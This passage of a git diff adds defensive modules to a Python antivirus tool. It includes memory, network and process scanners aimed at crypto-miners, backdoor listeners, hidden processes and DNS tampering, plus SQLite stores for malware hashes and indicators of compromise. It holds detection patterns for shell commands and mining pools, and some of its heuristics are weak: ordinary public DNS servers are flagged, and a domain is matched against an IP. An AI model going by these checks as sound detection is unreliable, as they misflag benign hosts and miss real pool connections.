Optional[Sequence[bytes]] = None, + ) -> List[Dict[str, Any]]: + """Search process memory for specific byte patterns. + + Parameters + ---------- + patterns: + Byte strings to search for. Defaults to + :pydata:`_DEFAULT_PATTERNS` (mining pool URLs, stratum prefixes, + shell commands). + + Returns a list of dicts with ``pattern``, ``region_start``, + ``region_perms``, ``offset``. + """ + if patterns is None: + patterns = _DEFAULT_PATTERNS + + regions = self._read_maps(pid) + matches: List[Dict[str, Any]] = [] + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue + + data = self._read_region(pid, region["start"], region["end"]) + for pat in patterns: + idx = data.find(pat) + if idx != -1: + matches.append({ + "pattern": pat.decode("utf-8", errors="replace"), + "region_start": hex(region["start"]), + "region_perms": region["perms"], + "region_pathname": region["pathname"], + "offset": idx, + "severity": "HIGH", + "reason": f"Suspicious pattern found in memory: {pat[:60]!r}", + }) + + return matches diff --git a/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py new file mode 100644 index 0000000..06b6495 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py @@ -0,0 +1,328 @@ +"""Network scanner for AYN Antivirus. + +Inspects active TCP/UDP connections for traffic to known mining pools, +suspicious ports, and unexpected listening services. Also audits +``/etc/resolv.conf`` for DNS hijacking indicators. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Well-known system services that are *expected* to listen — extend as needed. +_EXPECTED_LISTENERS = { + 22: "sshd", + 53: "systemd-resolved", + 80: "nginx", + 443: "nginx", + 3306: "mysqld", + 5432: "postgres", + 6379: "redis-server", + 8080: "java", +} + +# Known-malicious / suspicious public DNS servers sometimes injected by +# malware into resolv.conf to redirect DNS queries. +_SUSPICIOUS_DNS_SERVERS = [ + "8.8.4.4", # not inherently bad, but worth noting if unexpected + "1.0.0.1", + "208.67.222.123", + "198.54.117.10", + "77.88.8.7", + "94.140.14.14", +] + + +class NetworkScanner(BaseScanner): + """Scan active network connections for suspicious activity. + + Wraps :func:`psutil.net_connections` and enriches each connection with + process ownership and threat classification. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "network_scanner" + + @property + def description(self) -> str: + return "Inspects network connections for mining pools and suspicious ports" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full network scan. + + *target* is ignored — all connections are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``unexpected_listeners``, ``dns_issues``. + """ + all_conns = self.get_all_connections() + suspicious = self.find_suspicious_connections() + listeners = self.check_listening_ports() + dns = self.check_dns_queries() + + return { + "total": len(all_conns), + "suspicious": suspicious, + "unexpected_listeners": listeners, + "dns_issues": dns, + } + + # ------------------------------------------------------------------ + # Connection enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_connections() -> List[Dict[str, Any]]: + """Return a snapshot of every inet connection. + + Each dict contains: ``fd``, ``family``, ``type``, ``local_addr``, + ``remote_addr``, ``status``, ``pid``, ``process_name``. + """ + result: List[Dict[str, Any]] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return result + + for conn in connections: + local = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "" + remote = f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else "" + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + result.append({ + "fd": conn.fd, + "family": str(conn.family), + "type": str(conn.type), + "local_addr": local, + "remote_addr": remote, + "status": conn.status, + "pid": conn.pid, + "process_name": proc_name, + }) + + return result + + # ------------------------------------------------------------------ + # Suspicious-connection detection + # ------------------------------------------------------------------ + + def find_suspicious_connections(self) -> List[Dict[str, Any]]: + """Identify connections to known mining pools or suspicious ports. + + Checks remote addresses against :pydata:`constants.CRYPTO_POOL_DOMAINS` + and :pydata:`constants.SUSPICIOUS_PORTS`. + """ + suspicious: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return suspicious + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + local_str = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "?" + remote_str = f"{remote_ip}:{remote_port}" + + proc_info = self.resolve_process_for_connection(conn) + + # Suspicious port. + if remote_port in SUSPICIOUS_PORTS: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection on known mining port {remote_port}", + "severity": "HIGH", + }) + + # Mining-pool domain (substring match on IP / hostname). + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection to known mining pool: {domain}", + "severity": "CRITICAL", + }) + break + + return suspicious + + # ------------------------------------------------------------------ + # Listening-port audit + # ------------------------------------------------------------------ + + @staticmethod + def check_listening_ports() -> List[Dict[str, Any]]: + """Return listening sockets that are *not* in the expected-services list. + + Unexpected listeners may indicate a backdoor or reverse shell. + """ + unexpected: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return unexpected + + for conn in connections: + if conn.status != "LISTEN": + continue + + port = conn.laddr.port if conn.laddr else None + if port is None: + continue + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + expected_name = _EXPECTED_LISTENERS.get(port) + if expected_name and expected_name in proc_name: + continue # known good + + # Skip very common ephemeral / system ports when we can't resolve. + if port > 49152: + continue + + if port not in _EXPECTED_LISTENERS: + unexpected.append({ + "port": port, + "local_addr": f"{conn.laddr.ip}:{port}" if conn.laddr else f"?:{port}", + "pid": conn.pid, + "process_name": proc_name, + "reason": f"Unexpected listening service on port {port}", + "severity": "MEDIUM", + }) + + return unexpected + + # ------------------------------------------------------------------ + # Process resolution + # ------------------------------------------------------------------ + + @staticmethod + def resolve_process_for_connection(conn: Any) -> Dict[str, Any]: + """Return basic process info for a ``psutil`` connection object. + + Returns + ------- + dict + ``pid``, ``name``, ``cmdline``, ``username``. + """ + info: Dict[str, Any] = { + "pid": conn.pid, + "name": "", + "cmdline": [], + "username": "", + } + if not conn.pid: + return info + + try: + proc = psutil.Process(conn.pid) + info["name"] = proc.name() + info["cmdline"] = proc.cmdline() + info["username"] = proc.username() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + return info + + # ------------------------------------------------------------------ + # DNS audit + # ------------------------------------------------------------------ + + @staticmethod + def check_dns_queries() -> List[Dict[str, Any]]: + """Audit ``/etc/resolv.conf`` for suspicious DNS server entries. + + Malware sometimes rewrites ``resolv.conf`` to redirect DNS through an + attacker-controlled resolver, enabling man-in-the-middle attacks or + DNS-based C2 communication. + """ + issues: List[Dict[str, Any]] = [] + resolv_path = Path("/etc/resolv.conf") + + if not resolv_path.exists(): + return issues + + try: + content = resolv_path.read_text() + except PermissionError: + logger.warning("Cannot read /etc/resolv.conf") + return issues + + nameserver_re = re.compile(r"^\s*nameserver\s+(\S+)", re.MULTILINE) + for match in nameserver_re.finditer(content): + server = match.group(1) + + if server in _SUSPICIOUS_DNS_SERVERS: + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"Potentially suspicious DNS server: {server}", + "severity": "MEDIUM", + }) + + # Flag non-RFC1918 / non-loopback servers that look unusual. + if not ( + server.startswith("127.") + or server.startswith("10.") + or server.startswith("192.168.") + or server.startswith("172.") + or server == "::1" + ): + # External DNS — not inherently bad but worth logging if the + # admin didn't set it intentionally. + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"External DNS server configured: {server}", + "severity": "LOW", + }) + + return issues diff --git a/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py new file mode 100644 index 0000000..acf1a68 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py @@ -0,0 +1,387 @@ +"""Process scanner for AYN Antivirus. + +Inspects running processes for known crypto-miners, anomalous CPU usage, +and hidden / stealth processes. Uses ``psutil`` for cross-platform process +enumeration and ``/proc`` on Linux for hidden-process detection. +""" + +from __future__ import annotations + +import logging +import os +import signal +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + + +class ProcessScanner(BaseScanner): + """Scan running processes for malware, miners, and anomalies. + + Parameters + ---------- + cpu_threshold: + CPU-usage percentage above which a process is flagged. Defaults to + :pydata:`constants.HIGH_CPU_THRESHOLD`. + """ + + def __init__(self, cpu_threshold: float = HIGH_CPU_THRESHOLD) -> None: + self.cpu_threshold = cpu_threshold + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "process_scanner" + + @property + def description(self) -> str: + return "Inspects running processes for miners and suspicious activity" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full process scan. + + *target* is ignored — all live processes are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``high_cpu``, ``hidden``. + """ + all_procs = self.get_all_processes() + suspicious = self.find_suspicious_processes() + high_cpu = self.find_high_cpu_processes() + hidden = self.find_hidden_processes() + + return { + "total": len(all_procs), + "suspicious": suspicious, + "high_cpu": high_cpu, + "hidden": hidden, + } + + # ------------------------------------------------------------------ + # Process enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_processes() -> List[Dict[str, Any]]: + """Return a snapshot of every running process. + + Each dict contains: ``pid``, ``name``, ``cmdline``, ``cpu_percent``, + ``memory_percent``, ``username``, ``create_time``, ``connections``, + ``open_files``. + """ + result: List[Dict[str, Any]] = [] + attrs = [ + "pid", "name", "cmdline", "cpu_percent", + "memory_percent", "username", "create_time", + ] + + for proc in psutil.process_iter(attrs): + try: + info = proc.info + # Connections and open files are expensive; fetch lazily. + try: + connections = [ + { + "fd": c.fd, + "family": str(c.family), + "type": str(c.type), + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + connections = [] + + try: + open_files = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + open_files = [] + + create_time = info.get("create_time") + result.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "memory_percent": info.get("memory_percent") or 0.0, + "username": info.get("username", "?"), + "create_time": ( + datetime.utcfromtimestamp(create_time).isoformat() + if create_time + else None + ), + "connections": connections, + "open_files": open_files, + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return result + + # ------------------------------------------------------------------ + # Suspicious-process detection + # ------------------------------------------------------------------ + + def find_suspicious_processes(self) -> List[Dict[str, Any]]: + """Return processes whose name or command line matches a known miner. + + Matches are case-insensitive against + :pydata:`constants.CRYPTO_MINER_PROCESS_NAMES`. + """ + suspicious: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + suspicious.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "username": info.get("username", "?"), + "matched_signature": miner, + "reason": f"Known miner process: {miner}", + "severity": "CRITICAL", + }) + break # one match per process + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return suspicious + + # ------------------------------------------------------------------ + # High-CPU detection + # ------------------------------------------------------------------ + + def find_high_cpu_processes( + self, + threshold: Optional[float] = None, + ) -> List[Dict[str, Any]]: + """Return processes whose CPU usage exceeds *threshold* percent. + + Parameters + ---------- + threshold: + Override the instance-level ``cpu_threshold``. + """ + limit = threshold if threshold is not None else self.cpu_threshold + high: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > limit: + high.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": cpu, + "username": info.get("username", "?"), + "reason": f"High CPU usage: {cpu:.1f}%", + "severity": "HIGH", + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return high + + # ------------------------------------------------------------------ + # Hidden-process detection (Linux only) + # ------------------------------------------------------------------ + + @staticmethod + def find_hidden_processes() -> List[Dict[str, Any]]: + """Detect processes visible in ``/proc`` but hidden from ``psutil``. + + On non-Linux systems this returns an empty list. + + A mismatch may indicate a userland rootkit that hooks the process + listing syscalls. + """ + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return [] # not Linux + + # PIDs visible via /proc filesystem. + proc_pids: set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + logger.warning("Cannot enumerate /proc") + return [] + + # PIDs visible via psutil (which ultimately calls getdents / readdir). + psutil_pids = set(psutil.pids()) + + hidden: List[Dict[str, Any]] = [] + for pid in proc_pids - psutil_pids: + # Read whatever we can from /proc/. + name = "" + cmdline = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + try: + cl = proc_dir / str(pid) / "cmdline" + if cl.exists(): + cmdline = cl.read_bytes().replace(b"\x00", b" ").decode(errors="replace").strip() + except OSError: + pass + + hidden.append({ + "pid": pid, + "name": name, + "cmdline": cmdline, + "reason": "Process visible in /proc but hidden from psutil (possible rootkit)", + "severity": "CRITICAL", + }) + + return hidden + + # ------------------------------------------------------------------ + # Single-process detail + # ------------------------------------------------------------------ + + @staticmethod + def get_process_details(pid: int) -> Dict[str, Any]: + """Return comprehensive information about a single process. + + Raises + ------ + psutil.NoSuchProcess + If the PID does not exist. + psutil.AccessDenied + If the caller lacks permission to inspect the process. + """ + proc = psutil.Process(pid) + with proc.oneshot(): + info: Dict[str, Any] = { + "pid": proc.pid, + "name": proc.name(), + "exe": "", + "cmdline": proc.cmdline(), + "status": proc.status(), + "username": "", + "cpu_percent": proc.cpu_percent(interval=0.1), + "memory_percent": proc.memory_percent(), + "memory_info": {}, + "create_time": datetime.utcfromtimestamp(proc.create_time()).isoformat(), + "cwd": "", + "open_files": [], + "connections": [], + "threads": proc.num_threads(), + "nice": None, + "environ": {}, + } + + try: + info["exe"] = proc.exe() + except (psutil.AccessDenied, OSError): + pass + + try: + info["username"] = proc.username() + except psutil.AccessDenied: + pass + + try: + mem = proc.memory_info() + info["memory_info"] = {"rss": mem.rss, "vms": mem.vms} + except (psutil.AccessDenied, OSError): + pass + + try: + info["cwd"] = proc.cwd() + except (psutil.AccessDenied, OSError): + pass + + try: + info["open_files"] = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, OSError): + pass + + try: + info["connections"] = [ + { + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, OSError): + pass + + try: + info["nice"] = proc.nice() + except (psutil.AccessDenied, OSError): + pass + + try: + info["environ"] = dict(proc.environ()) + except (psutil.AccessDenied, OSError): + pass + + return info + + # ------------------------------------------------------------------ + # Process control + # ------------------------------------------------------------------ + + @staticmethod + def kill_process(pid: int) -> bool: + """Send ``SIGKILL`` to the process with *pid*. + + Returns ``True`` if the signal was delivered successfully, ``False`` + otherwise (e.g. the process no longer exists or permission denied). + """ + try: + proc = psutil.Process(pid) + proc.kill() # SIGKILL + proc.wait(timeout=5) + logger.info("Killed process %d (%s)", pid, proc.name()) + return True + except psutil.NoSuchProcess: + logger.warning("Process %d no longer exists", pid) + return False + except psutil.AccessDenied: + logger.error("Permission denied killing process %d", pid) + # Fall back to raw signal as a last resort. + try: + os.kill(pid, signal.SIGKILL) + logger.info("Killed process %d via os.kill", pid) + return True + except OSError as exc: + logger.error("os.kill(%d) failed: %s", pid, exc) + return False + except psutil.TimeoutExpired: + logger.warning("Process %d did not exit within timeout", pid) + return False diff --git a/ayn-antivirus/ayn_antivirus/signatures/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py new file mode 100644 index 0000000..a891ee4 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py @@ -0,0 +1,251 @@ +"""SQLite-backed malware hash database for AYN Antivirus. + +Stores SHA-256 / MD5 hashes of known threats with associated metadata +(threat name, type, severity, source feed) and provides efficient lookup, +bulk-insert, search, and export operations. +""" + +from __future__ import annotations + +import csv +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS threats ( + hash TEXT PRIMARY KEY, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL DEFAULT 'MALWARE', + severity TEXT NOT NULL DEFAULT 'HIGH', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')), + details TEXT NOT NULL DEFAULT '' +); +CREATE INDEX IF NOT EXISTS idx_threats_type ON threats(threat_type); +CREATE INDEX IF NOT EXISTS idx_threats_source ON threats(source); +CREATE INDEX IF NOT EXISTS idx_threats_name ON threats(threat_name); + +CREATE TABLE IF NOT EXISTS meta ( + key TEXT PRIMARY KEY, + value TEXT +); +""" + + +class HashDatabase: + """Manage a local SQLite database of known-malicious file hashes. + + Parameters + ---------- + db_path: + Path to the SQLite file. Created automatically (with parent dirs) + if it doesn't exist. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + """Open the database and create tables if necessary.""" + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info("HashDatabase opened: %s (%d hashes)", self.db_path, self.count()) + + def close(self) -> None: + """Flush and close the database.""" + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + # ------------------------------------------------------------------ + # Single-record operations + # ------------------------------------------------------------------ + + def add_hash( + self, + hash_str: str, + threat_name: str, + threat_type: str = "MALWARE", + severity: str = "HIGH", + source: str = "", + details: str = "", + ) -> None: + """Insert or replace a single hash record.""" + self.conn.execute( + "INSERT OR REPLACE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + ( + hash_str.lower(), + threat_name, + threat_type, + severity, + source, + datetime.utcnow().isoformat(), + details, + ), + ) + self.conn.commit() + + def lookup(self, hash_str: str) -> Optional[Dict[str, Any]]: + """Look up a hash and return its metadata, or ``None``.""" + row = self.conn.execute( + "SELECT * FROM threats WHERE hash = ?", (hash_str.lower(),) + ).fetchone() + if row is None: + return None + return dict(row) + + def remove(self, hash_str: str) -> bool: + """Delete a hash record. Returns ``True`` if a row was deleted.""" + cur = self.conn.execute( + "DELETE FROM threats WHERE hash = ?", (hash_str.lower(),) + ) + self.conn.commit() + return cur.rowcount > 0 + + # ------------------------------------------------------------------ + # Bulk operations + # ------------------------------------------------------------------ + + def bulk_add( + self, + records: Sequence[Tuple[str, str, str, str, str, str]], + ) -> int: + """Efficiently insert new hashes in a single transaction. + + Uses ``INSERT OR IGNORE`` so existing entries are preserved and + only genuinely new hashes are counted. + + Parameters + ---------- + records: + Sequence of ``(hash, threat_name, threat_type, severity, source, details)`` + tuples. + + Returns + ------- + int + Number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [ + (h.lower(), name, ttype, sev, src, now, det) + for h, name, ttype, sev, src, det in records + ] + before = self.count() + self.conn.executemany( + "INSERT OR IGNORE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self.count() - before + + # ------------------------------------------------------------------ + # Query helpers + # ------------------------------------------------------------------ + + def count(self) -> int: + """Total number of hashes in the database.""" + return self.conn.execute("SELECT COUNT(*) FROM threats").fetchone()[0] + + def get_stats(self) -> Dict[str, Any]: + """Return aggregate statistics about the database.""" + c = self.conn + by_type = { + row[0]: row[1] + for row in c.execute( + "SELECT threat_type, COUNT(*) FROM threats GROUP BY threat_type" + ).fetchall() + } + by_source = { + row[0]: row[1] + for row in c.execute( + "SELECT source, COUNT(*) FROM threats GROUP BY source" + ).fetchall() + } + latest = c.execute( + "SELECT MAX(added_date) FROM threats" + ).fetchone()[0] + return { + "total": self.count(), + "by_type": by_type, + "by_source": by_source, + "latest_update": latest, + } + + def search(self, query: str) -> List[Dict[str, Any]]: + """Search threat names with a SQL LIKE pattern. + + Example: ``search("%Trojan%")`` + """ + rows = self.conn.execute( + "SELECT * FROM threats WHERE threat_name LIKE ? ORDER BY added_date DESC LIMIT 500", + (query,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Export + # ------------------------------------------------------------------ + + def export_hashes(self, filepath: str | Path) -> int: + """Export all hashes to a CSV file. Returns the row count.""" + filepath = Path(filepath) + filepath.parent.mkdir(parents=True, exist_ok=True) + rows = self.conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, added_date, details " + "FROM threats ORDER BY added_date DESC" + ).fetchall() + with open(filepath, "w", newline="") as fh: + writer = csv.writer(fh) + writer.writerow(["hash", "threat_name", "threat_type", "severity", "source", "added_date", "details"]) + for row in rows: + writer.writerow(list(row)) + return len(rows) + + # ------------------------------------------------------------------ + # Meta helpers (used by manager to track feed state) + # ------------------------------------------------------------------ + + def set_meta(self, key: str, value: str) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO meta (key, value) VALUES (?, ?)", (key, value) + ) + self.conn.commit() + + def get_meta(self, key: str) -> Optional[str]: + row = self.conn.execute( + "SELECT value FROM meta WHERE key = ?", (key,) + ).fetchone() + return row[0] if row else None diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py new file mode 100644 index 0000000..fdc5563 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py @@ -0,0 +1,259 @@ +"""SQLite-backed Indicator of Compromise (IOC) database for AYN Antivirus. + +Stores malicious IPs, domains, and URLs sourced from threat-intelligence +feeds so that the network scanner and detectors can perform real-time +lookups. +""" + +from __future__ import annotations + +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Set, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS ioc_ips ( + ip TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_ips_source ON ioc_ips(source); + +CREATE TABLE IF NOT EXISTS ioc_domains ( + domain TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_domains_source ON ioc_domains(source); + +CREATE TABLE IF NOT EXISTS ioc_urls ( + url TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'malware_distribution', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_urls_source ON ioc_urls(source); +""" + + +class IOCDatabase: + """Manage a local SQLite store of Indicators of Compromise. + + Parameters + ---------- + db_path: + Path to the SQLite file. Shares the same file as + :class:`HashDatabase` by default; each uses its own tables. + """ + + _VALID_TABLES: frozenset = frozenset({"ioc_ips", "ioc_domains", "ioc_urls"}) + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info( + "IOCDatabase opened: %s (IPs=%d, domains=%d, URLs=%d)", + self.db_path, + self._count("ioc_ips"), + self._count("ioc_domains"), + self._count("ioc_urls"), + ) + + def close(self) -> None: + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + def _count(self, table: str) -> int: + if table not in self._VALID_TABLES: + raise ValueError(f"Invalid table name: {table}") + return self.conn.execute(f"SELECT COUNT(*) FROM {table}").fetchone()[0] + + # ------------------------------------------------------------------ + # IPs + # ------------------------------------------------------------------ + + def add_ip( + self, + ip: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (ip, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_ips( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert IPs. Each tuple: ``(ip, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(ip, tn, t, src, now) for ip, tn, t, src in records] + before = self._count("ioc_ips") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_ips") - before + + def lookup_ip(self, ip: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_ips WHERE ip = ?", (ip,) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_ips(self) -> Set[str]: + """Return every stored malicious IP as a set for fast membership tests.""" + rows = self.conn.execute("SELECT ip FROM ioc_ips").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # Domains + # ------------------------------------------------------------------ + + def add_domain( + self, + domain: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (domain.lower(), threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_domains( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert domains. Each tuple: ``(domain, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(d.lower(), tn, t, src, now) for d, tn, t, src in records] + before = self._count("ioc_domains") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_domains") - before + + def lookup_domain(self, domain: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_domains WHERE domain = ?", (domain.lower(),) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_domains(self) -> Set[str]: + """Return every stored malicious domain as a set.""" + rows = 